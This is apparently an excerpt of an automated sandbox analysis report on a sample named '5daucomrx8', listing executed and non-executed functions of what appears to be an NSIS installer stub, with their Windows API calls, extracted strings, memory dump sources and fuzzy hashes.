Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E

Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15

Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8

Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C

Non-executed Functions

Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 0040512F
GetDlgItem.USER32(?,000003EE), ref: 0040513E
GetClientRect.USER32(?,?), ref: 00405196
GetSystemMetrics.USER32(00000015), ref: 0040519E
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
ShowWindow.USER32(?,00000008), ref: 0040523A
GetDlgItem.USER32(?,000003EC), ref: 0040525B
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
GetDlgItem.USER32(?,000003F8), ref: 0040514D

Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

GetDlgItem.USER32(?,000003EC), ref: 004052AB
CreateThread.KERNEL32(00000000,00000000,Function_00005047,00000000), ref: 004052B9
CloseHandle.KERNEL32(00000000), ref: 004052C0
ShowWindow.USER32(00000000), ref: 004052E7
ShowWindow.USER32(?,00000008), ref: 004052EC
ShowWindow.USER32(00000008), ref: 00405333
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
CreatePopupMenu.USER32 ref: 00405376
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
GetWindowRect.USER32(?,?), ref: 0040539E
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
OpenClipboard.USER32(00000000), ref: 0040540B
EmptyClipboard.USER32 ref: 00405411
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
GlobalLock.KERNEL32(00000000), ref: 00405427
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
GlobalUnlock.KERNEL32(00000000), ref: 0040545D
SetClipboardData.USER32(0000000D,00000000), ref: 00405468
CloseClipboard.USER32 ref: 0040546E

Strings

@rD, xrefs: 004053D7
{, xrefs: 00405352
New install of "%s" to "%s", xrefs: 00405182

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: @rD$New install of "%s" to "%s"${
API String ID: 2110491804-2409696222
Opcode ID: a32262366b6956f6ce6576a17cc772d230ae976b6d31d5dbcf7d3a173ee933fc
Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
Opcode Fuzzy Hash: a32262366b6956f6ce6576a17cc772d230ae976b6d31d5dbcf7d3a173ee933fc
Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59

Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404993
GetDlgItem.USER32(?,00000408), ref: 004049A0
GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
LoadBitmapW.USER32(0000006E), ref: 00404A02
SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
DeleteObject.GDI32(?), ref: 00404A79
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
ShowWindow.USER32(?,00000005), ref: 00404BCF
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
ImageList_Destroy.COMCTL32(?), ref: 00404D9C
GlobalFree.KERNEL32(?), ref: 00404DAC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
ShowWindow.USER32(?,00000000), ref: 00404F49
GetDlgItem.USER32(?,000003FE), ref: 00404F54
ShowWindow.USER32(00000000), ref: 00404F5B

Strings

, xrefs: 00404F39
@, xrefs: 00404B90
N, xrefs: 00404C06
M, xrefs: 00404B43

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
Opcode Fuzzy Hash: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58

Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 004044F9
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
GetDlgItem.USER32(?,000003FB), ref: 00404527
GetAsyncKeyState.USER32(00000010), ref: 0040452E
GetDlgItem.USER32(?,000003F0), ref: 00404543
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
SetWindowTextW.USER32(?,?), ref: 00404583
SHBrowseForFolderW.SHELL32(?), ref: 0040463D
lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
lstrcatW.KERNEL32(?,00462540), ref: 00404686
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
CoTaskMemFree.OLE32(00000000), ref: 00404648

Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000,0046A560,004C70A8,install.log,00405A9C,004C70A8,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006), ref: 00403E8F

GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED

Strings

82D, xrefs: 004046DB
@rD, xrefs: 00404610
@%F, xrefs: 00404674
A, xrefs: 00404636

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: 82D$@%F$@rD$A
API String ID: 3347642858-1086125096
Opcode ID: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
Opcode Fuzzy Hash: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59

Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
lstrcmpA.KERNEL32(name,?), ref: 00406FC7
CloseHandle.KERNEL32(?), ref: 004071E6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

name, xrefs: 00406FBF
GetTTFNameString, xrefs: 00406F07
%s: failed opening file "%s", xrefs: 00406F0C

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64

Function 00406C9B Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004C30A0), ref: 00406CB8
lstrcatW.KERNEL32(0045C918,\*.*,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D09
lstrcatW.KERNEL32(?,00408838,?,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D29
lstrlenW.KERNEL32(?), ref: 00406D2C
FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
FindClose.KERNEL32(?), ref: 00406E33

Strings

RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93
Delete: DeleteFile failed("%s"), xrefs: 00406DFD
Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58
Delete: DeleteFile("%s"), xrefs: 00406DBC
\*.*, xrefs: 00406D03
RMDir: RemoveDirectory("%s"), xrefs: 00406E6F

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
API String ID: 2035342205-3294556389
Opcode ID: 929039bad7d15a30b60f6521e1025dcf5eb1071aca27ca1d219e219807f84f48
Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
Opcode Fuzzy Hash: 929039bad7d15a30b60f6521e1025dcf5eb1071aca27ca1d219e219807f84f48
Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD

Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 004069DF
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406926
@%F, xrefs: 0040682C
@%F, xrefs: 00406A53

Memory Dump Source

Source File: 00000000.00000002.1565915856.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1565894778.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565935598.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1565953558.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1566065390.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5daucomrx8.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-784952888
Opcode ID: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
Opcode Fuzzy Hash: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00409B24,?,00000001,00409B04,?), ref: 0040257E

Strings

